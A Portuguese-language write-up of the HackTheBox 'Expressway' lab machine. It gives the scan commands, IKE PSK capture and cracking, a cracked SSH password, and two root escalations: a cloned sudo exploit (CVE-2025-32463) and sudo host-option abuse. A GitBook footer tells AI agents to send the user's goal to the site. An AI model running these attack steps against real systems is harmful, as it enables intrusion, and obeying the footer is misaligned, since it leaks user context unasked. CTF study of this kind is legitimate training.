> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/expressway-hackthebox-writeup.md).

# Writeup do HackTheBox Expressway

Writeup da máquina Easy Linux Expressway do HackTheBox cobrindo conhecimento sobre enumeração e exploração do serviço IKE, enumeração do sistema Linux, exploração do CVE-2025-32462, com enumeração prática, e

{% embed url="<https://app.hackthebox.com/machines/Expressway>" %}

{% hint style="warning" %}
**Habilidades:**

* Conhecimento sobre enumeração e exploração do serviço IKE
* Enumeração de sistema Linux
* Explorando a CVE-2025-32462
  {% endhint %}

#### **Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e78aa06c2335147570fda80a66283893a04900f3%2Fimage%20(52).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

#### **Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir uma comunicação estável com a máquina-alvo.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9ad2a1c9a9fc3e709774550b57ac187da93cc267%2Fimage%20(53).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

#### **Descoberta de Portas Abertas com Nmap:**

O primeiro passo é identificar os serviços expostos. Realizamos uma varredura rápida das portas TCP e UDP.

#### Varredura TCP

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.129.238.52 -oG allPort
```

#### Varredura UDP

```bash
nmap -sU --top-ports 100 --open -vvv -n 10.129.238.52 -oG allPortsUDP
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-99b9b540b8d466f3c7df752effa01b2577b98c06%2Fimage%20(54).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Varredura de Serviços e Versões

Após identificar as portas, investigamos mais a fundo serviços específicos:

* TCP: Porta 22 (SSH)
* UDP: Portas 68, 69 (TFTP), 500 (ISAKMP/VPN), 4500 (IPsec-NAT-T)

```bash
nmap -sCV -p22 10.129.238.52 -oN targeted
```

```bash
nmap -sUCV -p 68,69,500,4500 10.129.238.52 -oN targetedUDP
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-93c6b0c09f0973a1b7dbfbf6c34c1b8945cc5da1%2Fimage%20(55).png?alt=media" alt=""><figcaption></figcaption></figure>

### Intrusão: Exploração do IKE (VPN)

A porta UDP 500 indica um serviço de troca de chaves (IKE). Estamos tentando capturar a Chave Pré-Compartilhada (PSK) usando o modo agressivo.

#### Identificação do ID

Usamos `ike-scan` para verificar se o modo agressivo está habilitado:.

```bash
sudo ike-scan -A 10.129.238.52
```

* Resultado: handshake bem-sucedido. ID detectado: `ike@expressway.htb`.

#### Capturar e quebrar o hash da PSK

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5d4b1d1c4109504d8985634acc7754fc5cfb80ff%2Fimage%20(56).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
sudo ike-scan -A -id ike@expressway.htb --pskcrack=expressway.psk 10.129.238.52
```

Extraímos o hash para tentar um ataque de força bruta com o `rockyou.txt` dicionário.

```bash
hashcat expressway.psk /usr/share/wordlists/rockyou.txt
```

* Credenciais obtidas: `ike`: `freakingrockstarontheroad`

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-40bfce5a395e78d2bb9a792917d4f092ddd17529%2Fimage%20(57).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Acesso Inicial

Conexão via SSH com as credenciais encontradas:

```bash
ssh ike@10.129.238.52
```

## Escalada de privilégios

Dois vetores foram confirmados para elevar privilégios a root.

### Método 1: CVE-2025-32463 (Vulnerabilidade no sudo)

Verificando a versão do sudo com `sudo -V`, vemos que a versão é 1.9.17, que é vulnerável.

{% embed url="<https://github.com/MohamedKarrab/CVE-2025-32463>" %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-26baee83002177a74ee362db31308ef6ca69a4d5%2Fimage%20(58).png?alt=media" alt=""><figcaption></figcaption></figure>

1. Clone o exploit:

```bash
git clone https://github.com/MohamedKarrab/CVE-2025-32463.git
cd CVE-2025-32463
```

Executando os scripts de compilação e exploração:

```bash
./mkall-dynamic.sh
./get_root.sh
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-40a39ce809b9bbc6c0b777e507356679d829317d%2Fimage%20(60).png?alt=media" alt=""><figcaption></figcaption></figure>

### Método 2: Abuso do grupo Proxy e Hostnames

Ao auditar os grupos do usuário, vemos que pertencemos ao grupo proxy. Estamos procurando pelos arquivos associados:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-37a2038e1cc03821c33b8bad7047248975616a73%2Fimage%20(61).png?alt=media" alt=""><figcaption></figcaption></figure>

Ao examinar os logs do Squid (`/var/log/squid/access.log.1`)

```bash
find / -group proxy 2>/dev/null
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-16511c1b13df60f898fc174a952d3903e139c904%2Fimage%20(62).png?alt=media" alt=""><figcaption></figcaption></figure>

Descobrimos um subdomínio interno: `offramp.expressway.htb`.

```bash
cat /var/log/squid/access.log.1 | grep httpp
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-885697856aa4cbfb2ba1d51b6232c3ec79d23f01%2Fimage%20(63).png?alt=media" alt=""><figcaption></figcaption></figure>

Ao verificar as políticas do sudo para este domínio específico, descobrimos que temos permissões totais:

```bash
sudo -h offramp.expressway.htb -l
```

Resultado: podemos executar qualquer comando como root neste contexto de host.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ac36e711a21e15d759981eabceaa05dc1fcc5d98%2Fimage%20(66).png?alt=media" alt=""><figcaption></figcaption></figure>

**Execução final para Root:**

```bash
sudo -h offramp.expressway.htb /bin/bash
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fe0911939434847c8e6cfbdc5a5f49b6157fa4bb%2Fimage%20(67).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dea50720796d1ecc60eff3ff118d817585125e3b%2Fimage%20(65).png?alt=media" alt="" width="524"><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3aff922eb97594bdf76f3887579682a4ec37c536%2Fimage%20(64).png?alt=media" alt="" width="389"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/expressway-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
